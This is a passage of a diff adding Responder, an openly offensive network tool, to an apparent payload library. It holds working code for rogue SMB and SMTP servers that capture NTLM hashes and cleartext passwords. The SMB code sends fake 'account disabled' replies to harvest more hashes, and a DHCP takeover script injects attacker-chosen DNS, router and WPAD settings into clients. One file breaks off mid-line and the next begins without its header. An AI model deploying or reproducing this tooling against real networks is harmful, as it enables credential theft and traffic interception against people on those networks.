SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ## Session Setup 3 answer SMBv2. + if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe": + ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge) + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data)) + t = SMB2Session2Data() + packet1 = str(head)+str(t) + buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + + # Negotiate Protocol Response smbv1 + if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None: + Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1 + IsNT4ClearTxt(data, self.client_address[0]) + + # STATUS_MORE_PROCESSING_REQUIRED + Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) + if settings.Config.CaptureMultipleCredentials and self.ntry == 0: + Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") + else: + Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + + if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS + if Is_Anonymous(data): + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Body = SMBSessEmpty() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + + else: + # Parse NTLMSSP_AUTH packet + ParseSMBHash(data,self.client_address[0], Challenge) + + if settings.Config.CaptureMultipleCredentials and self.ntry == 0: + # Send ACCOUNT_DISABLED to get multiple hashes if there are any + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Body = SMBSessEmpty() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + self.ntry += 1 + continue + + # Send STATUS_SUCCESS + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = SMBSession2Accept() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + + if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request + ParseShare(data) + Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) + Body = SMBTreeData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect + Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied. + Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied. + Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + + if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff + Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x02\xff\x00\x27\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + except: + pass + + +class SMB1LM(BaseRequestHandler): # SMB Server class, old version + def handle(self): + try: + self.request.settimeout(0.5) + data = self.request.recv(1024) + Challenge = RandomChallenge() + if data[0] == "\x81": #session request 139 + Buffer = "\x82\x00\x00\x00" + self.request.send(Buffer) + data = self.request.recv(1024) + + if data[8:10] == "\x72\x00": #Negotiate proto answer. + head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) + Body.calculate() + Packet = str(head)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + data = self.request.recv(1024) + + if data[8:10] == "\x73\x00": #Session Setup AndX Request + if Is_LMNT_Anonymous(data): + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head)+str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + else: + ParseLMNTHash(data,self.client_address[0], Challenge) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head) + str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + self.request.send(Buffer) + data = self.request.recv(1024) + except Exception: + self.request.close() + pass diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/SMTP.py b/payloads/library/tools_installer/tools_to_install/responder/servers/SMTP.py new file mode 100644 index 0000000..b2a5d8a --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/SMTP.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from utils import * +from base64 import b64decode +from SocketServer import BaseRequestHandler +from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 + +class ESMTP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(SMTPGreeting())) + data = self.request.recv(1024) + + if data[0:4] == "EHLO": + self.request.send(str(SMTPAUTH())) + data = self.request.recv(1024) + + if data[0:4] == "AUTH": + self.request.send(str(SMTPAUTH1())) + data = self.request.recv(1024) + + if data: + try: + User = filter(None, b64decode(data).split('\x00')) + Username = User[0] + Password = User[1] + except: + Username = b64decode(data) + + self.request.send(str(SMTPAUTH2())) + data = self.request.recv(1024) + + if data: + try: Password = b64decode(data) + except: Password = data + + SaveToDb({ + 'module': 'SMTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Username, + 'cleartext': Password, + 'fullhash': Username+":"+Password, + }) + + except Exception: + pass diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/__init__.py b/payloads/library/tools_installer/tools_to_install/responder/servers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/payloads/library/tools_installer/tools_to_install/responder/settings.py b/payloads/library/tools_installer/tools_to_install/responder/settings.py new file mode 100644 index 0000000..fa7c9e8 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/settings.py @@ -0,0 +1,262 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import utils +import ConfigParser +import subprocess + +from utils import * + +__version__ = 'Responder 2.3.3.5' + +class Settings: + + def __init__(self): + self.ResponderPATH = os.path.dirname(__file__) + self.Bind_To = '0.0.0.0' + + def __str__(self): + ret = 'Settings class:\n' + for attr in dir(self): + value = str(getattr(self, attr)).strip() + ret += " Settings.%s = %s\n" % (attr, value) + return ret + + def toBool(self, str): + return str.upper() == 'ON' + + def ExpandIPRanges(self): + def expand_ranges(lst): + ret = [] + for l in lst: + tab = l.split('.') + x = {} + i = 0 + for byte in tab: + if '-' not in byte: + x[i] = x[i+1] = int(byte) + else: + b = byte.split('-') + x[i] = int(b[0]) + x[i+1] = int(b[1]) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + ret.append('%d.%d.%d.%d' % (a, b, c, d)) + return ret + + self.RespondTo = expand_ranges(self.RespondTo) + self.DontRespondTo = expand_ranges(self.DontRespondTo) + + def populate(self, options): + + if options.Interface is None and utils.IsOsX() is False: + print utils.color("Error: -I mandatory option is missing", 1) + sys.exit(-1) + + if options.Interface == "ALL" and options.OURIP == None: + print utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1) + sys.exit(-1) + + # Config parsing + config = ConfigParser.ConfigParser() + config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) + + # Servers + self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) + self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) + self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) + self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) + self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) + self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) + self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) + self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) + self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) + self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) + self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) + + # Db File + self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) + + # Log Files + self.LogDir = os.path.join(self.ResponderPATH, 'logs') + + if not os.path.exists(self.LogDir): + os.mkdir(self.LogDir) + + self.SessionLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'SessionLog')) + self.PoisonersLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'PoisonersLog')) + self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog')) + self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump')) + + self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') + self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') + self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') + self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') + self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') + self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') + self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') + self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') + + self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') + self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') + self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt') + self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt') + self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt') + self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt') + self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt') + self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt') + self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt') + self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt') + + # HTTP Options + self.Serve_Exe = self.toBool(config.get('HTTP Server', 'Serve-Exe')) + self.Serve_Always = self.toBool(config.get('HTTP Server', 'Serve-Always')) + self.Serve_Html = self.toBool(config.get('HTTP Server', 'Serve-Html')) + self.Html_Filename = config.get('HTTP Server', 'HtmlFilename') + self.Exe_Filename = config.get('HTTP Server', 'ExeFilename') + self.Exe_DlName = config.get('HTTP Server', 'ExeDownloadName') + self.WPAD_Script = config.get('HTTP Server', 'WPADScript') + self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') + + if not os.path.exists(self.Html_Filename): + print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) + + if not os.path.exists(self.Exe_Filename): + print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) + + # SSL Options + self.SSLKey = config.get('HTTPS Server', 'SSLKey') + self.SSLCert = config.get('HTTPS Server', 'SSLCert') + + # Respond to hosts + self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) + self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) + self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) + self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) + + # Auto Ignore List + self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) + self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) + self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) + self.AutoIgnoreList = [] + + # CLI options + self.ExternalIP = options.ExternalIP + self.LM_On_Off = options.LM_On_Off + self.WPAD_On_Off = options.WPAD_On_Off + self.Wredirect = options.Wredirect + self.NBTNSDomain = options.NBTNSDomain + self.Basic = options.Basic + self.Finger_On_Off = options.Finger + self.Interface = options.Interface + self.OURIP = options.OURIP + self.Force_WPAD_Auth = options.Force_WPAD_Auth + self.Upstream_Proxy = options.Upstream_Proxy + self.AnalyzeMode = options.Analyze + self.Verbose = options.Verbose + self.ProxyAuth_On_Off = options.ProxyAuth_On_Off + self.CommandLine = str(sys.argv) + + if self.ExternalIP: + self.ExternalIPAton = socket.inet_aton(self.ExternalIP) + + if self.HtmlToInject is None: + self.HtmlToInject = '' + + self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) + + if self.Interface == "ALL": + self.Bind_To_ALL = True + else: + self.Bind_To_ALL = False + + if self.Interface == "ALL": + self.IP_aton = socket.inet_aton(self.OURIP) + else: + self.IP_aton = socket.inet_aton(self.Bind_To) + + self.Os_version = sys.platform + + # Set up Challenge + self.NumChal = config.get('Responder Core', 'Challenge') + if self.NumChal.lower() == 'random': + self.NumChal = "random" + + if len(self.NumChal) is not 16 and not "random": + print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) + sys.exit(-1) + + self.Challenge = "" + if self.NumChal.lower() == 'random': + pass + else: + for i in range(0, len(self.NumChal),2): + self.Challenge += self.NumChal[i:i+2].decode("hex") + + # Set up logging + logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') + logging.warning('Responder Started: %s' % self.CommandLine) + + Formatter = logging.Formatter('%(asctime)s - %(message)s') + PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') + ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') + PLog_Handler.setLevel(logging.INFO) + ALog_Handler.setLevel(logging.INFO) + PLog_Handler.setFormatter(Formatter) + ALog_Handler.setFormatter(Formatter) + + self.PoisonersLogger = logging.getLogger('Poisoners Log') + self.PoisonersLogger.addHandler(PLog_Handler) + + self.AnalyzeLogger = logging.getLogger('Analyze Log') + self.AnalyzeLogger.addHandler(ALog_Handler) + + try: + NetworkCard = subprocess.check_output(["ifconfig", "-a"]) + except: + try: + NetworkCard = subprocess.check_output(["ip", "address", "show"]) + except subprocess.CalledProcessError as ex: + NetworkCard = "Error fetching Network Interfaces:", ex + pass + try: + DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) + except subprocess.CalledProcessError as ex: + DNS = "Error fetching DNS configuration:", ex + pass + try: + RoutingInfo = subprocess.check_output(["netstat", "-rn"]) + except: + try: + RoutingInfo = subprocess.check_output(["ip", "route", "show"]) + except subprocess.CalledProcessError as ex: + RoutingInfo = "Error fetching Routing information:", ex + pass + + Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo) + try: + utils.DumpConfig(self.ResponderConfigDump, Message) + utils.DumpConfig(self.ResponderConfigDump,str(self)) + except AttributeError as ex: + print "Missing Module:", ex + pass + +def init(): + global Config + Config = Settings() diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/BrowserListener.py b/payloads/library/tools_installer/tools_to_install/responder/tools/BrowserListener.py new file mode 100644 index 0000000..a50d58f --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/BrowserListener.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import sys +import os +import thread + +BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, BASEDIR) + +from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger +from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler +from threading import Lock +from utils import * + +def ParseRoles(data): + if len(data) != 4: + return '' + + AllRoles = { + 'Workstation': (ord(data[0]) >> 0) & 1, + 'Server': (ord(data[0]) >> 1) & 1, + 'SQL': (ord(data[0]) >> 2) & 1, + 'Domain Controller': (ord(data[0]) >> 3) & 1, + 'Backup Controller': (ord(data[0]) >> 4) & 1, + 'Time Source': (ord(data[0]) >> 5) & 1, + 'Apple': (ord(data[0]) >> 6) & 1, + 'Novell': (ord(data[0]) >> 7) & 1, + 'Member': (ord(data[1]) >> 0) & 1, + 'Print': (ord(data[1]) >> 1) & 1, + 'Dialin': (ord(data[1]) >> 2) & 1, + 'Xenix': (ord(data[1]) >> 3) & 1, + 'NT Workstation': (ord(data[1]) >> 4) & 1, + 'WfW': (ord(data[1]) >> 5) & 1, + 'Unused': (ord(data[1]) >> 6) & 1, + 'NT Server': (ord(data[1]) >> 7) & 1, + 'Potential Browser': (ord(data[2]) >> 0) & 1, + 'Backup Browser': (ord(data[2]) >> 1) & 1, + 'Master Browser': (ord(data[2]) >> 2) & 1, + 'Domain Master Browser': (ord(data[2]) >> 3) & 1, + 'OSF': (ord(data[2]) >> 4) & 1, + 'VMS': (ord(data[2]) >> 5) & 1, + 'Windows 95+': (ord(data[2]) >> 6) & 1, + 'DFS': (ord(data[2]) >> 7) & 1, + 'Local': (ord(data[3]) >> 6) & 1, + 'Domain Enum': (ord(data[3]) >> 7) & 1, + } + + return ', '.join(k for k,v in AllRoles.items() if v == 1) + + +class BrowserListener(BaseRequestHandler): + def handle(self): + data, socket = self.request + + lock = Lock() + lock.acquire() + + DataOffset = struct.unpack('. +import sys +import struct +import optparse +import ConfigParser +import os + +BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, BASEDIR) +from odict import OrderedDict +from packets import Packet +from utils import * + +parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],) +parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") +parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME") +parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP") +parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP") +parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2") +parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask") +parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD") +parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof") +parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests") +options, args = parser.parse_args() + +def color(txt, code = 1, modifier = 0): + return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) + +if options.Interface is None: + print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface." + exit(-1) +elif options.RouterIP is None: + print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP." + exit(-1) +elif options.DNSIP is None: + print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours." + exit(-1) +elif options.DNSIP2 is None: + print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours." + exit(-1) + + +print '#############################################################################' +print '## DHCP INFORM TAKEOVER 0.2 ##' +print '## ##' +print '## By default, this script will only inject a new DNS/WPAD ##' +print '## server to a Windows <= XP/2003 machine. ##' +print '## ##' +print '## To inject a DNS server/domain/route on a Windows >= Vista and ##' +print '## any linux box, use -R (can be noisy) ##' +print '## ##' +print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##' +print '#############################################################################' +print '' +print color('[*]', 2, 1), 'Listening for events...' + +config = ConfigParser.ConfigParser() +config.read(os.path.join(BASEDIR,'Responder.conf')) +RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) +DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) +Interface = options.Interface +Responder_IP = FindLocalIP(Interface) +ROUTERIP = options.RouterIP +NETMASK = options.Netmask +DHCPSERVER = Responder_IP +DNSIP = options.DNSIP +DNSIP2 = options.DNSIP2 +DNSNAME = options.DNSNAME +WPADSRV = options.WPAD.strip() + "\\n" +Spoof = options.Spoof +Respond_To_Requests = options.Respond_To_Requests + +if Spoof: + DHCPSERVER = ROUTERIP + +##### IP Header ##### +class IPHead(Packet): + fields = OrderedDict([ + ("Version", "\x45"), + ("DiffServices", "\x00"), + ("TotalLen", "\x00\x00"), + ("Ident", "\x00\x00"), + ("Flags", "\x00\x00"), + ("TTL", "\x40"), + ("Protocol", "\x11"), + ("Checksum", "\x00\x00"), + ("SrcIP", ""), + ("DstIP", ""), + ]) + +class UDP(Packet): + fields = OrderedDict([ + ("SrcPort", "\x00\x43"), + ("DstPort", "\x00\x44"), + ("Len", "\x00\x00"), + ("Checksum", "\x00\x00"), + ("Data", "\x00\x00"), + ]) + + def calculate(self): + self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8) + +class DHCPACK(Packet): + fields = OrderedDict([ + ("MessType", "\x02"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", "\x11\x22\x33\x44"), + ("ElapsedSec", "\x00\x00"), + ("BootpFlags", "\x00\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", "\xff\xff\xff\xff\xff\xff"), + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("DHCPCode", "\x35"), #DHCP Message + ("DHCPCodeLen", "\x01"), + ("DHCPOpCode", "\x05"), #Msgtype(ACK) + ("Op54", "\x36"), + ("Op54Len", "\x04"), + ("Op54Str", ""), #DHCP Server + ("Op51", "\x33"), + ("Op51Len", "\x04"), + ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day + ("Op1", "\x01"), + ("Op1Len", "\x04"), + ("Op1Str", ""), #Netmask + ("Op15", "\x0f"), + ("Op15Len", "\x0e"), + ("Op15Str", ""), #DNS Name + ("Op3", "\x03"), + ("Op3Len", "\x04"), + ("Op3Str", ""), #Router + ("Op6", "\x06"), + ("Op6Len", "\x08"), + ("Op6Str", ""), #DNS Servers + ("Op252", "\xfc"), + ("Op252Len", "\x04"), + ("Op252Str", ""), #Wpad Server + ("Op255", "\xff"), + ("Padding", "\x00"), + ]) + + def calculate(self): + self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) + self.fields["Op1Str"] = socket.inet_aton(NETMASK) + self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) + self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) + self.fields["Op15Str"] = DNSNAME + self.fields["Op252Str"] = WPADSRV + self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) + self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) + +class DHCPInformACK(Packet): + fields = OrderedDict([ + ("MessType", "\x02"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", "\x11\x22\x33\x44"), + ("ElapsedSec", "\x00\x00"), + ("BootpFlags", "\x00\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", "\xff\xff\xff\xff\xff\xff"), + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("Op53", "\x35\x01\x05"), #Msgtype(ACK) + ("Op54", "\x36"), + ("Op54Len", "\x04"), + ("Op54Str", ""), #DHCP Server + ("Op1", "\x01"), + ("Op1Len", "\x04"), + ("Op1Str", ""), #Netmask + ("Op15", 